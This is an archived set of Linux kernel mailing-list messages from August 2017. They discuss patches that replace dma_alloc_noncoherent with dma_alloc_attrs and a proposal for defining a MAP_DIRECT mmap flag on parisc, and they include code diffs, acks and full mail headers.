+	dma_alloc_attrs(struct device *dev, size_t size, dma_addr_t *dma_handle,
+			gfp_t flag, unsigned long attrs)
 
-Identical to dma_alloc_coherent() except that the platform will
-choose to return either consistent or non-consistent memory as it sees
-fit.  By using this API, you are guaranteeing to the platform that you
-have all the correct and necessary sync points for this memory in the
-driver should it choose to return non-consistent memory.
+Identical to dma_alloc_coherent() except that when the
+DMA_ATTR_NON_CONSISTENT flags is passed in the attrs argument, the
+platform will choose to return either consistent or non-consistent memory
+as it sees fit.  By using this API, you are guaranteeing to the platform
+that you have all the correct and necessary sync points for this memory
+in the driver should it choose to return non-consistent memory.
 
 Note: where the platform can return consistent memory, it will
 guarantee that the sync points become nops.
@@ -535,12 +536,13 @@ that simply cannot make consistent memory.
 ::
 
 	void
-	dma_free_noncoherent(struct device *dev, size_t size, void *cpu_addr,
-			     dma_addr_t dma_handle)
+	dma_free_attrs(struct device *dev, size_t size, void *cpu_addr,
+		       dma_addr_t dma_handle, unsigned long attrs)
 
-Free memory allocated by the nonconsistent API.  All parameters must
-be identical to those passed in (and returned by
-dma_alloc_noncoherent()).
+Free memory allocated by the dma_alloc_attrs().  All parameters common
+parameters must identical to those otherwise passed to dma_fre_coherent,
+and the attrs argument must be identical to the attrs passed to
+dma_alloc_attrs().
 
 ::
 
@@ -564,8 +566,8 @@ memory or doing partial flushes.
 	dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 		       enum dma_data_direction direction)
 
-Do a partial sync of memory that was allocated by
-dma_alloc_noncoherent(), starting at virtual address vaddr and
+Do a partial sync of memory that was allocated by dma_alloc_attrs() with
+the DMA_ATTR_NON_CONSISTENT flag starting at virtual address vaddr and
 continuing on for size.  Again, you *must* observe the cache line
 boundaries when doing this.
 
diff --git a/arch/metag/include/asm/dma-mapping.h b/arch/metag/include/asm/dma-mapping.h
index fad3dc3cb210..ea573be2b6d0 100644
--- a/arch/metag/include/asm/dma-mapping.h
+++ b/arch/metag/include/asm/dma-mapping.h
@@ -9,7 +9,7 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 }
 
 /*
- * dma_alloc_noncoherent() returns non-cacheable memory, so there's no need to
+ * dma_alloc_attrs() always returns non-cacheable memory, so there's no need to
  * do any flushing here.
  */
 static inline void
diff --git a/arch/nios2/include/asm/dma-mapping.h b/arch/nios2/include/asm/dma-mapping.h
index 7b3c6f280293..f8dc62222741 100644
--- a/arch/nios2/include/asm/dma-mapping.h
+++ b/arch/nios2/include/asm/dma-mapping.h
@@ -18,7 +18,7 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 }
 
 /*
- * dma_alloc_noncoherent() returns non-cacheable memory, so there's no need to
+ * dma_alloc_attrs() always returns non-cacheable memory, so there's no need to
  * do any flushing here.
  */
 static inline void dma_cache_sync(struct device *dev, void *vaddr, size_t size,
diff --git a/arch/tile/include/asm/dma-mapping.h b/arch/tile/include/asm/dma-mapping.h
index bbc71a29b2c6..7061dc8af43a 100644
--- a/arch/tile/include/asm/dma-mapping.h
+++ b/arch/tile/include/asm/dma-mapping.h
@@ -68,8 +68,8 @@ static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
 int dma_set_mask(struct device *dev, u64 mask);
 
 /*
- * dma_alloc_noncoherent() is #defined to return coherent memory,
- * so there's no need to do any flushing here.
+ * dma_alloc_attrs() always returns non-cacheable memory, so there's no need to
+ * do any flushing here.
  */
 static inline void dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 				  enum dma_data_direction direction)
diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
index 66d8ea68f40b..4c98cc96971f 100644
--- a/include/linux/dma-mapping.h
+++ b/include/linux/dma-mapping.h
@@ -549,20 +549,6 @@ static inline void dma_free_coherent(struct device *dev, size_t size,
 	return dma_free_attrs(dev, size, cpu_addr, dma_handle, 0);
 }
 
-static inline void *dma_alloc_noncoherent(struct device *dev, size_t size,
-		dma_addr_t *dma_handle, gfp_t gfp)
-{
-	return dma_alloc_attrs(dev, size, dma_handle, gfp,
-			       DMA_ATTR_NON_CONSISTENT);
-}
-
-static inline void dma_free_noncoherent(struct device *dev, size_t size,
-		void *cpu_addr, dma_addr_t dma_handle)
-{
-	dma_free_attrs(dev, size, cpu_addr, dma_handle,
-		       DMA_ATTR_NON_CONSISTENT);
-}

From - Thu Nov 08 21:40:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.ports.parisc,gmane.linux.kernel.api,gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.file-systems
Subject: Re: [PATCH v6 3/5] mm: introduce mmap3 for safely defining new mmap
 flags
Date: Sat, 26 Aug 2017 09:40:47 +0200
Lines: 101
Approved: news@gmane.org
Message-ID: <20170826074047.GA6292@ls3530.fritz.box>
References: <150353211413.5039.5228914877418362329.stgit@dwillia2-desk3.amr.corp.intel.com>
 <150353213097.5039.6729469069608762658.stgit@dwillia2-desk3.amr.corp.intel.com>
 <20170824165546.GA3121@infradead.org>
 <CAPcyv4iN0QpUSgOUvisnNQsiV1Pp=4dh7CwAV8FFj=_rFU=aug@mail.gmail.com>
 <20170825130011.GA30072@infradead.org>
 <20170825155803.4km7wttzadfqw2vb@node.shutemov.name>
 <20170825160236.GA2561@infradead.org>
 <20170825161607.6v6beg4zjktllt2z@node.shutemov.name>
 <4de21e8d-5e10-ec40-c731-0c079953cf48@gmx.de>
 <CAPcyv4jeZc8P+E0aHNChzy-wfNpOx3GehKck1nXqJ1b9JdydFA@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1503733285 9025 195.159.176.226 (26 Aug 2017 07:41:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 26 Aug 2017 07:41:25 +0000 (UTC)
User-Agent: Mutt/1.8.3 (2017-05-23)
Cc: linux-xfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Jan Kara <jack-AlSwsSmVLrQ@public.gmane.org>,
 linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>,
 "linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org" <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>,
 Linux API <linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>,
 "linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
 Christoph Hellwig <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org>, Linux MM <linux-mm-Bw31MaZKKs3YtjvyW6yDsg@public.gmane.org>,
 Andy Lutomirski <luto-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>,
 linux-fsdevel <linux-fsdevel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
 "Kirill A. Shutemov" <kirill-oKw7cIdHH8eLwutG50LtGA@public.gmane.org>,
 Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
 "Kirill A. Shutemov" <kirill.shutemov-VuQAYsv1563Yd54FQh9/CA@public.gmane.org>
To: Dan Williams <dan.j.williams-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Sat Aug 26 09:41:19 2017
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1dlViS-0001NM-0s
	for gln-linux-nvdimm@m.gmane.org; Sat, 26 Aug 2017 09:41:12 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 9795921DFC862;
	Sat, 26 Aug 2017 00:38:34 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Received: from mout.gmx.net (mout.gmx.net [212.227.15.18])
 (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id A3A9A21D1E2DA
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Sat, 26 Aug 2017 00:38:32 -0700 (PDT)
Original-Received: from ls3530.fritz.box ([193.159.24.126]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LmKag-1dCzyQ3cfK-00Zu9F; Sat, 26
 Aug 2017 09:40:53 +0200
Content-Disposition: inline
In-Reply-To: <CAPcyv4jeZc8P+E0aHNChzy-wfNpOx3GehKck1nXqJ1b9JdydFA-JsoAwUIsXosN+BqQ9rBEUg@public.gmane.org>
X-Provags-ID: V03:K0:IxLKGCnk1BXfMZ/85m1KRoIvDJZiXw3VxEvOYfiq5GIzMVAY4QD
 EkYpcIjfl3iNtlbJ7M85ch0Emv4x/j436NFdxvVRUmXMkZ3/uvIL3rjFXAP78bQbUWOcAsQ
 b1gJ/bxK0mco3DS5yrNHtc5RgVPg2l3Y3NHzeWdxcrYc3db/6Wnm8AqNahRdKJ8zMU13jeQ
 vh7iVhto1Scvc4K0+hMvQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:OX1YnDxQcB4=:SUfr/R6Unnrn+YLDoiPUF+
 XOPLWzs2/7+j7B2IQLwvBoyd7sTvi8sQ41xby53VkcBwac7xtOR/AEmAKsYYRzgomk2YbUAut
 WXOxzy/39SdldtcBL6PzV/x8O3uVUMhDHcUR6L5Wq6ODIQlS5WxEEOTawUgKGN1RMaXzKYWS2
 lsL2Pz4EIVocH5oJs1byffdgKr6tKlJ24iM4bRyR4VbBtFW/o+fL/etC/uVY8G3oQYt+/aln8
 aEQBTJUJOPqBKvKB0dQdk+w2xjn/Ar+KL/VPh9p8WOUPpaKPQcCnzCuIiEOoDgKIWVigqCLcN
 rb2sSJ4mCGuXL4LianZboHSAvcMr3Azz10lIpfQJoc3xfGc8ukJNO/IsGpaV9YUO033vubc/h
 KGgF3MR7PuoxS9kKz1gaDs0dFkXuvzQTWNawLbCx5uY6FbOmRL+uVw2QDMFCqsxw+zpqiynki
 rVL0739Uh8kWvQrl3kx3RSvNMnxui/K9s3YeZjHQyzW1TokTtuBhY7OKRnfYihEh5sSuwz369
 Vf3djyz79Qo5gl2CGumOjK7WwpLxZSt4X4kriHymeCSsOdz/UMzoqoaKGsBsJpf5voljP6qmw
 LpO15vq9N+9phiniXI8WNOJebm+ocn1ShY3HK9T7u8X8YvxYkX0x9+FXihrmTuev+JmqCmori
 MCzm0ntsKpke0eeV5Z2SKofJOqVdcsGv6Y72aR+NyMen+y7T7lvujjHL8LP1bZGA9k05UJPh4
 1tBy2Z/ZAbuaV0jt0/0n3t/cBhZXa9ZHM6rzSQV7OA3rkHgGKwuQrfnPAB/NQIrXWfSLKKmV 
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.22
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:6107 gmane.linux.ports.parisc:27764 gmane.linux.kernel.api:24587 gmane.linux.kernel:2558064 gmane.linux.kernel.mm:178691 gmane.linux.file-systems:125888
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/6107>

* Dan Williams <dan.j.williams-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>:
> On Fri, Aug 25, 2017 at 9:19 AM, Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org> wrote:
> > On 25.08.2017 18:16, Kirill A. Shutemov wrote:
> >> On Fri, Aug 25, 2017 at 09:02:36AM -0700, Christoph Hellwig wrote:
> >>> On Fri, Aug 25, 2017 at 06:58:03PM +0300, Kirill A. Shutemov wrote:
> >>>> Not all archs are ready for this:
> >>>>
> >>>> arch/parisc/include/uapi/asm/mman.h:#define MAP_TYPE    0x03            /* Mask for type of mapping */
> >>>> arch/parisc/include/uapi/asm/mman.h:#define MAP_FIXED   0x04            /* Interpret addr exactly */
> >>>
> >>> I'd be happy to say that we should not care about parisc for
> >>> persistent memory.  We'll just have to find a way to exclude
> >>> parisc without making life too ugly.
> >>
> >> I don't think creapling mmap() interface for one arch is the right way to
> >> go. I think the interface should be universal.
> >>
> >> I may imagine MAP_DIRECT can be useful not only for persistent memory.
> >> For tmpfs instead of mlock()?
> >
> > On parisc we have
> > #define MAP_SHARED      0x01            /* Share changes */
> > #define MAP_PRIVATE     0x02            /* Changes are private */
> > #define MAP_TYPE        0x03            /* Mask for type of mapping */
> > #define MAP_FIXED       0x04            /* Interpret addr exactly */
> > #define MAP_ANONYMOUS   0x10            /* don't use a file */
> >
> > So, if you need a MAP_DIRECT, wouldn't e.g.
> > #define MAP_DIRECT      0x08
> > be possible (for parisc, and others 0x04).
> > And if MAP_TYPE needs to include this flag on parisc:
> > #define MAP_TYPE        (0x03 | 0x08)  /* Mask for type of mapping */
> 
> The problem here is that to support new the mmap flags the arch needs
> to find a flag that is guaranteed to fail on older kernels. Defining
> MAP_DIRECT to 0x8 on parisc doesn't work because it will simply be
> ignored on older parisc kernels.
> 
> However, it's already the case that several archs have their own
> sys_mmap entry points. Those archs that can't follow the common scheme
> (only parsic it seems) will need to add a new mmap syscall. I think
> that's a reasonable tradeoff to allow every other architecture to add
> this support with their existing mmap syscall paths.

I don't want other architectures to suffer just because of parisc.
But adding a new syscall just for usage on parisc won't work either,
because nobody will add code to call it then.
 
> That means MAP_DIRECT should be defined to MAP_TYPE on parisc until it
> later defines an opt-in mechanism to a new syscall that honors
> MAP_DIRECT as a valid flag.

I'd instead propose to to introduce an ABI breakage for parisc users
(which aren't many). Most parisc users update their kernel regularily
anyway, because we fixed so many bugs in the latest kernel.

With the following patch pushed down to the stable kernel series,
MAP_DIRECT will fail as expected on those kernels, while we can
keep parisc up with current developments regarding MAP_DIRECT.

diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index 9a9c2fe..43b9a1e 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -13,6 +13,7 @@
 #define MAP_PRIVATE	0x02		/* Changes are private */
 #define MAP_TYPE	0x03		/* Mask for type of mapping */
 #define MAP_FIXED	0x04		/* Interpret addr exactly */
+#define MAP_DIRECT	0x08		/* Interpret addr exactly */
 #define MAP_ANONYMOUS	0x10		/* don't use a file */
 
 #define MAP_DENYWRITE	0x0800		/* ETXTBSY */
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index 378a754..0499f87 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -270,6 +270,10 @@ asmlinkage unsigned long sys_mmap2(unsigned long addr, unsigned long len,
 {
 	/* Make sure the shift for mmap2 is constant (12), no matter what PAGE_SIZE
 	   we have. */
+#if !defined(CONFIG_HAVE_MAP_DIRECT_SUPPORT)
+	if (flags & MAP_DIRECT)
+		return -EINVAL;
+#endif
 	return sys_mmap_pgoff(addr, len, prot, flags, fd,
 			      pgoff >> (PAGE_SHIFT - 12));
 }
@@ -278,6 +282,10 @@ asmlinkage unsigned long sys_mmap(unsigned long addr, unsigned long len,
 		unsigned long prot, unsigned long flags, unsigned long fd,
 		unsigned long offset)
 {
+#if !defined(CONFIG_HAVE_MAP_DIRECT_SUPPORT)
+	if (flags & MAP_DIRECT)
+		return -EINVAL;
+#endif
 	if (!(offset & ~PAGE_MASK)) {
 		return sys_mmap_pgoff(addr, len, prot, flags, fd,
 					offset >> PAGE_SHIFT);


Helge

From - Thu Nov 08 21:40:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Ralf Baechle <ralf@linux-mips.org>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.mips,gmane.linux.ports.parisc
Subject: Re: [PATCH 1/4] sgiseeq: switch to dma_alloc_attrs
Date: Sat, 26 Aug 2017 15:07:09 +0200
Lines: 8
Approved: news@gmane.org
Message-ID: <20170826130709.GA14771@linux-mips.org>
References: <20170826072125.9790-1-hch@lst.de>
 <20170826072125.9790-2-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1503752837 4263 195.159.176.226 (26 Aug 2017 13:07:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 26 Aug 2017 13:07:17 +0000 (UTC)
User-Agent: Mutt/1.8.3 (2017-05-23)
Cc: netdev@vger.kernel.org, "David S. Miller" <davem@davemloft.net>,
        linux-mips@vger.kernel.org, linux-parisc@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 26 15:07:13 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dlanw-0000pC-A4
	for glk-linux-kernel-3@m.gmane.org; Sat, 26 Aug 2017 15:07:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754643AbdHZNHR (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 26 Aug 2017 09:07:17 -0400
Original-Received: from eddie.linux-mips.org ([148.251.95.138]:46418 "EHLO
        cvs.linux-mips.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752051AbdHZNHP (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 26 Aug 2017 09:07:15 -0400
Original-Received: from localhost.localdomain ([127.0.0.1]:36346 "EHLO linux-mips.org"
        rhost-flags-OK-OK-OK-FAIL) by eddie.linux-mips.org with ESMTP
        id S23994872AbdHZNHNUH2a7 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org> + 3 others);
        Sat, 26 Aug 2017 15:07:13 +0200
Original-Received: from h7.dl5rb.org.uk (localhost [127.0.0.1])
        by h7.dl5rb.org.uk (8.15.2/8.14.8) with ESMTP id v7QD7A2I014812;
        Sat, 26 Aug 2017 15:07:10 +0200
Original-Received: (from ralf@localhost)
        by h7.dl5rb.org.uk (8.15.2/8.15.2/Submit) id v7QD79Rm014811;
        Sat, 26 Aug 2017 15:07:09 +0200
Content-Disposition: inline
In-Reply-To: <20170826072125.9790-2-hch@lst.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2558160 gmane.linux.network:487931 gmane.linux.ports.mips:145 gmane.linux.ports.parisc:27765
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2558160>

On Sat, Aug 26, 2017 at 09:21:22AM +0200, Christoph Hellwig wrote:

Looks good,

Acked-by: Ralf Baechle <ralf@linux-mips.org>

  Ralf


From - Thu Nov 08 21:40:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Ralf Baechle <ralf@linux-mips.org>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.mips,gmane.linux.ports.parisc
Subject: Re: [PATCH 3/4] i825xx: switch to switch to dma_alloc_attrs
Date: Sat, 26 Aug 2017 15:10:41 +0200
Lines: 93
Approved: news@gmane.org
Message-ID: <20170826131041.GB14771@linux-mips.org>
References: <20170826072125.9790-1-hch@lst.de>
 <20170826072125.9790-4-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1503753050 11767 195.159.176.226 (26 Aug 2017 13:10:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 26 Aug 2017 13:10:50 +0000 (UTC)
User-Agent: Mutt/1.8.3 (2017-05-23)
Cc: netdev@vger.kernel.org, "David S. Miller" <davem@davemloft.net>,
        linux-mips@vger.kernel.org, linux-parisc@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 26 15:10:46 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dlarL-0002fI-AY
	for glk-linux-kernel-3@m.gmane.org; Sat, 26 Aug 2017 15:10:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754648AbdHZNKs (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 26 Aug 2017 09:10:48 -0400
Original-Received: from eddie.linux-mips.org ([148.251.95.138]:46418 "EHLO
        cvs.linux-mips.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752183AbdHZNKq (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 26 Aug 2017 09:10:46 -0400
Original-Received: from localhost.localdomain ([127.0.0.1]:36442 "EHLO linux-mips.org"
        rhost-flags-OK-OK-OK-FAIL) by eddie.linux-mips.org with ESMTP
        id S23994874AbdHZNKpJzUS7 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org> + 3 others);
        Sat, 26 Aug 2017 15:10:45 +0200
Original-Received: from h7.dl5rb.org.uk (localhost [127.0.0.1])
        by h7.dl5rb.org.uk (8.15.2/8.14.8) with ESMTP id v7QDAgvR015053;
        Sat, 26 Aug 2017 15:10:42 +0200
Original-Received: (from ralf@localhost)
        by h7.dl5rb.org.uk (8.15.2/8.15.2/Submit) id v7QDAg8A015052;
        Sat, 26 Aug 2017 15:10:42 +0200
Content-Disposition: inline
In-Reply-To: <20170826072125.9790-4-hch@lst.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2558162 gmane.linux.network:487933 gmane.linux.ports.mips:146 gmane.linux.ports.parisc:27766
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2558162>

On Sat, Aug 26, 2017 at 09:21:24AM +0200, Christoph Hellwig wrote:

Adding Thomas Bogendoerfer <tsbogend@alpha.franken.de>, the author of
sni_82596.c to cc.

> This way we can always pass DMA_ATTR_NON_CONSISTENT, the SNI mips version
> will simply ignore the flag.
> 
> Signed-off-by: Christoph Hellwig <hch@lst.de>
> ---
>  drivers/net/ethernet/i825xx/lasi_82596.c | 6 ++----
>  drivers/net/ethernet/i825xx/lib82596.c   | 9 +++++----
>  drivers/net/ethernet/i825xx/sni_82596.c  | 6 ++----
>  3 files changed, 9 insertions(+), 12 deletions(-)
> 
> diff --git a/drivers/net/ethernet/i825xx/lasi_82596.c b/drivers/net/ethernet/i825xx/lasi_82596.c
> index d787fdd5db7b..d5b5021aa759 100644
> --- a/drivers/net/ethernet/i825xx/lasi_82596.c
> +++ b/drivers/net/ethernet/i825xx/lasi_82596.c
> @@ -96,8 +96,6 @@
>  
>  #define OPT_SWAP_PORT	0x0001	/* Need to wordswp on the MPU port */
>  
> -#define DMA_ALLOC                        dma_alloc_noncoherent
> -#define DMA_FREE                         dma_free_noncoherent
>  #define DMA_WBACK(ndev, addr, len) \
>  	do { dma_cache_sync((ndev)->dev.parent, (void *)addr, len, DMA_TO_DEVICE); } while (0)
>  
> @@ -200,8 +198,8 @@ static int lan_remove_chip(struct parisc_device *pdev)
>  	struct i596_private *lp = netdev_priv(dev);
>  
>  	unregister_netdev (dev);
> -	DMA_FREE(&pdev->dev, sizeof(struct i596_private),
> -		 (void *)lp->dma, lp->dma_addr);
> +	dma_free_attrs(&pdev->dev, sizeof(struct i596_private), lp->dma,
> +		       lp->dma_addr, DMA_ATTR_NON_CONSISTENT);
>  	free_netdev (dev);
>  	return 0;
>  }
> diff --git a/drivers/net/ethernet/i825xx/lib82596.c b/drivers/net/ethernet/i825xx/lib82596.c
> index 8449c58f01fd..f00a1dc2128c 100644
> --- a/drivers/net/ethernet/i825xx/lib82596.c
> +++ b/drivers/net/ethernet/i825xx/lib82596.c
> @@ -1063,8 +1063,9 @@ static int i82596_probe(struct net_device *dev)
>  	if (!dev->base_addr || !dev->irq)
>  		return -ENODEV;
>  
> -	dma = (struct i596_dma *) DMA_ALLOC(dev->dev.parent,
> -		sizeof(struct i596_dma), &lp->dma_addr, GFP_KERNEL);
> +	dma = dma_alloc_attrs(dev->dev.parent, sizeof(struct i596_dma),
> +			      &lp->dma_addr, GFP_KERNEL,
> +			      DMA_ATTR_NON_CONSISTENT);
>  	if (!dma) {
>  		printk(KERN_ERR "%s: Couldn't get shared memory\n", __FILE__);
>  		return -ENOMEM;
> @@ -1085,8 +1086,8 @@ static int i82596_probe(struct net_device *dev)
>  
>  	i = register_netdev(dev);
>  	if (i) {
> -		DMA_FREE(dev->dev.parent, sizeof(struct i596_dma),
> -				    (void *)dma, lp->dma_addr);
> +		dma_free_attrs(dev->dev.parent, sizeof(struct i596_dma),
> +			       dma, lp->dma_addr, DMA_ATTR_NON_CONSISTENT);
>  		return i;
>  	}
>  
> diff --git a/drivers/net/ethernet/i825xx/sni_82596.c b/drivers/net/ethernet/i825xx/sni_82596.c
> index 2af7f77345fb..b2c04a789744 100644
> --- a/drivers/net/ethernet/i825xx/sni_82596.c
> +++ b/drivers/net/ethernet/i825xx/sni_82596.c
> @@ -23,8 +23,6 @@
>  
>  static const char sni_82596_string[] = "snirm_82596";
>  
> -#define DMA_ALLOC                      dma_alloc_coherent
> -#define DMA_FREE                       dma_free_coherent
>  #define DMA_WBACK(priv, addr, len)     do { } while (0)
>  #define DMA_INV(priv, addr, len)       do { } while (0)
>  #define DMA_WBACK_INV(priv, addr, len) do { } while (0)
> @@ -152,8 +150,8 @@ static int sni_82596_driver_remove(struct platform_device *pdev)
>  	struct i596_private *lp = netdev_priv(dev);
>  
>  	unregister_netdev(dev);
> -	DMA_FREE(dev->dev.parent, sizeof(struct i596_private),
> -		 lp->dma, lp->dma_addr);
> +	dma_free_attrs(dev->dev.parent, sizeof(struct i596_private), lp->dma,
> +		       lp->dma_addr, DMA_ATTR_NON_CONSISTENT);
>  	iounmap(lp->ca);
>  	iounmap(lp->mpu_port);
>  	free_netdev (dev);
> -- 
> 2.11.0


From - Thu Nov 08 21:40:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Dan Williams <dan.j.williams@intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.hardware.nvdimm,gmane.linux.kernel.api,gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.file-systems
Subject: Re: [PATCH v6 3/5] mm: introduce mmap3 for safely defining new mmap flags
Date: Sat, 26 Aug 2017 08:15:43 -0700
Lines: 82
Approved: news@gmane.org
Message-ID: <CAPcyv4ic0zxQzWEipZ=1LpDC8VnmphGzVSYmrFcjOAgX7esfUw@mail.gmail.com>
References: <150353211413.5039.5228914877418362329.stgit@dwillia2-desk3.amr.corp.intel.com>
 <150353213097.5039.6729469069608762658.stgit@dwillia2-desk3.amr.corp.intel.com>
 <20170824165546.GA3121@infradead.org> <CAPcyv4iN0QpUSgOUvisnNQsiV1Pp=4dh7CwAV8FFj=_rFU=aug@mail.gmail.com>
